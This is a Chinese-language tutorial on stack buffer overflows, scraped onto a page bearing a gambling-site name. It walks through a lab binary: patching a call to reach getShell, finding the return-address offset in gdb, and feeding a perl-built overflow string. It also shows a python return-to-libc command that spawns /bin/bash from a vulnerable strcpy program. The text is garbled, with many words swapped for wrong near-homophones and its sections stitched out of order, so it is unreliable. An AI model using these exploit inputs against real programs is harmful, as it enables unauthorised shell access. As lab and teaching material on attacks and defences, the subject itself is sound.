来自 电脑知识 2019-10-04 12:11 的文章
当前位置: 威尼斯国际官方网站 > 电脑知识 > 正文

【威尼斯国际官方网站】栈的缓冲区溢出详解,

基础知识

  • 深谙Linux基本操作,能看懂常用命令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • NOP:NOP指令即“空指令”。实行到NOP指令时,CPU什么也不做,仅仅作为几个发令试行过去并继续实施NOP后边的一条指令。
  • JNE:条件转移指令,假使不对等则跳转。
  • JE:条件转移指令,若是相等则跳转。
  • JMP:无条件转移指令。
  • CMP:比较指令,功效也正是减法指令,只是对操作数之间运算比较,不保留结果。cmp指令实践后,将对标记寄放器发生影响。其余相关指令通过辨认那么些被潜濡默化的注脚寄放器位来获知比较结实。
  • 会使用gdb,vi。

5. 如何写shellcode

写shellcode的历程分成如下几步:

  1. 写C代码
  2. gdb反汇编
  3. 写汇编代码,编写翻译连接成可施行文件
  4. dump出二进制代码

详见的进度能够参谋

  1. 威尼斯国际官方网站 ,writing-your-own-shellcode
  2. Shellcoding for Linux and Windows Tutorial
  3. Shellcoding in Linux

1一直改变程序机器指令,改动程序执行流程

  • 知识要求:Call指令,EIP存放器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 上学目的:领悟可施行文件与机器指令
  • 进级:精晓ELF文件格式,驾驭动态技能

1.1反汇编pwn1文件

objdump -d 文件名 | more

威尼斯国际官方网站 1

翻看大旨代码

威尼斯国际官方网站 2

"call 8048491 "是汇编指令,是说那条指令将调用位于地址8048491处的foo函数;其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

自然平常流程,此时此刻EIP的值应该是下条指令的地方,即80484ba,但如一解释e8那条指令呢,CPU就可以转而执行“EIP + d7ffffff”那几个职位的授命。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正借使8048491这么些值。

main函数调用foo,对应机器指令为“e8 d7ffffff”,
那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
用Windows计算器,间接 47d-4ba就能够获得补码,是c3ffffff。
上边我们就修改可实施文件,将中间的call指令的靶子地方由d7ffffff变为c3ffffff。

1.2改换可执行文件,将中间的call指令的靶子地址由d7ffffff变为c3ffffff

对pwn1实行备份,将对备份文件二〇一五4304操作。
威尼斯国际官方网站 3

使用vi 20154304在vim编辑器查看可奉行文件二零一四4304,在编辑器内按ESC键,输入:%!xxd将浮现形式切换为16进制情势,如下图:
威尼斯国际官方网站 4
招来要修改的剧情,输入/e8 d7,如下图:
威尼斯国际官方网站 5

在vim的日常性情势下,按r键修改d7为c3,如下图:
威尼斯国际官方网站 6
转移16进制为原格式,输入:%!xxd -r

威尼斯国际官方网站 7

存盘退出vi,输入:wq

威尼斯国际官方网站 8

反汇编看一下,call指令是或不是正确调用getShell
威尼斯国际官方网站 9
运营下改后的代码,会博得shell提醒符#
威尼斯国际官方网站 10

8. 防-ASLR

透过对Return to libc攻击形式商量可以窥见,溢出成功的关键点在于找到了system函数的地方,而前后相继每趟运行该函数的地址都不会变。
因而,大家又提议了“地址空间布局随机化”的防范方法,当程序运行时,库文件的加载地址是随便的。这样使得攻击者很难鲜明库函数的地点,导致不能够跳转到库函数。

推行取得

漏洞是系统在规划时的缺乏,是红客攻击Computer所运用的坦途,是受限制的管理器、组件、应用程序或任何共同财富的不知不觉中留下的不受珍视的入口点。此番试行自身也学到了应用可试行文件中的漏洞,用二种格局改换程序的流程,使之跳转到getshell函数。在从早期的装虚构机开端到今日经过了三周的时间,让小编学到了成都百货上千事物,对linux操作系统有了必然的问询,也率先次用markdown写博客,相信在此后的实行中还有更加多的比本次实行要更头昏眼花的学问要去读书,作者也会再而三努力学习的,感激老师的辅导。

---恢复生机内容结束---

6. 防-DEP和Canary

经过地方剖析能够见到,缓冲区溢出产生代码实行有两大关键点

  1. 修改了栈上保存的EIP的值
  2. 施行了栈上保存的shellcode

所以,针对第一点,GCC插足了一个对缓冲区溢出举办检验的体制,即在栈上保存三个随机值(称之为canary),函数结束时对该随机值实行求证,当验证不通过时,注明栈被修改,此时EIP的值已经不行相信,因而前后相继会脱离。
针对第二点,大家提议了“栈不可实行”的防范章程,因为可进行代码应该在代码段,因而当EIP指向了栈段时,表明程序在奉行违规代码。

施行指标

此次实践的目的是三个名叫pwn1的linux可推行文件。该程序平常实践流程是:main调用foo函数,foo函数会轻松回显任何客户输入的字符串。该程序同一时候含有另贰个代码片段,getShell,会回来三个可用Shell。平常情形下那几个代码是不会被运行的。大家实践的对象正是想方法运营那几个代码片段。我们将学习两种方法运维这几个代码片段,然后学习怎么注入运维任何Shellcode。

四个推行内容如下:

  • 1.手工业修改可推行文件,改动程序施行流程,直接跳转到getShell函数。
  • 2.应用foo函数的Bof漏洞,构造三个抨击输入字符串,覆盖重返地址,触发getShell函数。
  • 3.流入叁个本人营造的shellcode并运转这段shellcode。

那二种思路,基本代表现实况况中的攻击对象:

  • 运作原来不可访谈的代码片段
  • 粗犷修改程序试行流
  • 以及注入运营任性代码

9. 攻-Return oriented programming

看起来黑客们就疑似是力不能支了,可是又有牛人推出了一种"Return oriented programming"的章程,汉语是“重回导向编制程序”,通过在代码段中探求可用的一对(称之为gadgets),然后在栈上构造重临地址,一步一步的跳转,最后实践完全数shellcode。

2因此组织输入参数,产生BOF攻击,改换程序施行流

2.1基本原理

我们的目的是触发getShell函数,该可施行文件正常运维是调用函数foo,那些函数有Buffer overflow漏洞,读入字符串时系统只留下了__字节的缓冲区,超过部分会促成溢出,大家的指标是覆盖再次来到地址。

2.2承认输入字符串哪多少个字符会覆盖到重返地址

行使GDB调节和测量试验工具调节和测量试验,确认用哪些值来蒙蔽再次来到地址
gdb 20154304~1进去调弄整理,并输入一串可让其溢出的字符:
威尼斯国际官方网站 11
info r,查看溢出时贮存器状态如下:
威尼斯国际官方网站 12

由此可看出是多个5,接下去明确是哪三个5,将前面8位输12345678
威尼斯国际官方网站 13
威尼斯国际官方网站 14

通过来看1234那三个数最后会覆盖到库房上的回到地址,进而CPU会尝试运维这些岗位的代码。那即便把那多个字符替换为 getShell 的内部存款和储蓄器地址,输给20164304~1,20154304~1就能运转getShell。
2.3 确认用怎么着值来覆盖重回地址

getShell的内部存款和储蓄器地址,通过反汇编时能够见见,即0804847d。相比从前 eip 0x34333231 0x34333231,精确运用输入 11111111222222223333333344444444x7dx84x04x08

2.4构造输入字符串

由为我们无法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成席卷那样字符串的三个文件。x0a表示回车,若无的话,在程序运行时就必要手工业按一下回车键。
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
Perl是一门解释型语言,无需预编写翻译,能够在命令行上直接利用。 使用输出重定向“>”将perl生成的字符串存款和储蓄到文件input中。

(能够应用16进制查看指令xxd input翻看input文件的剧情是不是如预期。)

接下来将input的输入,通过管道符“|”,作为二〇一六4304~1的输入。
威尼斯国际官方网站 15

正文介绍了一部分栈的缓冲区原理和进攻和防守手腕。

Exp1 PC平台逆向破解(5)M

7. 攻-Return to libc

针对“栈不可实践”的保养措施,黑客们又想出了一种return to libc的攻击方法。这种艺术不举办栈上代码,以致尚未shellcode。仅仅是经过溢出修改栈上的值,覆盖EIP。不过和地方不相同的是,这种攻击方式会在栈上填充好C语言库函数(譬如system)的参数。溢出后前后相继便会跳转到库函数的地点,并应用在此以前溢出到栈上的参数,来实行C语言的库函数。
方方面面进程未有施行栈上的代码,因为库函数是在代码段的。
留存代码如下,如何通过return to libc格局来攻击呢?

#include <stdio.h>
void handlemsg(char* msg){
        char buff[48];
        strcpy(buff, msg);
        printf("nthe input is [%s]nn", buff);
}
int main(int argc, char** argv){
    handlemsg(argv[1]);
    return 0;
}

第一要求得到system()函数的地址,其次必要获得system()的参数地址,system()函数接收三个字符串作为参数。这里选择"/bin/bash"。参数"/bin/bash"是从碰着变量中得来的,在gdb中得以一向通过x/s *(char**)environ翻开,system()函数的地点也同样可以因而gdb获得。
攻击演示如下所示,当中0xb7ea78b0是system()函数的地方,0xbffff7a6是参数"/bin/bash"的地点,'ABCD'是system的归来地址,此处无意义。
52=48+4,因而,前面包车型地铁值0xb7ea78b0刚好能够写到eip的地点。
只要不用"/bin/bash"作为参数,而是把参数通过溢出覆盖到栈上,那么就足以施行大肆的指令。

  • 注:假诺将'ABCD'设为exit的地点,那么当从溢出后的shell中退出来时,程序就跳到exit处,进而得以“高雅地"退出。
./retlib `python -c "print 'A'*52+'xb0x78xeaxb7' + 'ABCD' +'xa6xf7xffxbf/'"`

即使要更详尽的解释,在那边。传送门

对于canary的保卫安全机制,该种攻击方式却一点办法也想不出来。因为溢出时肯定要修改canary值,进而造成后边的认证差非常的少不会由此。何况GCC的那几个编写翻译选项默许是展开的,因而攻击成功的场馆少了众多。

本文由威尼斯国际官方网站发布于电脑知识,转载请注明出处:【威尼斯国际官方网站】栈的缓冲区溢出详解,

关键词: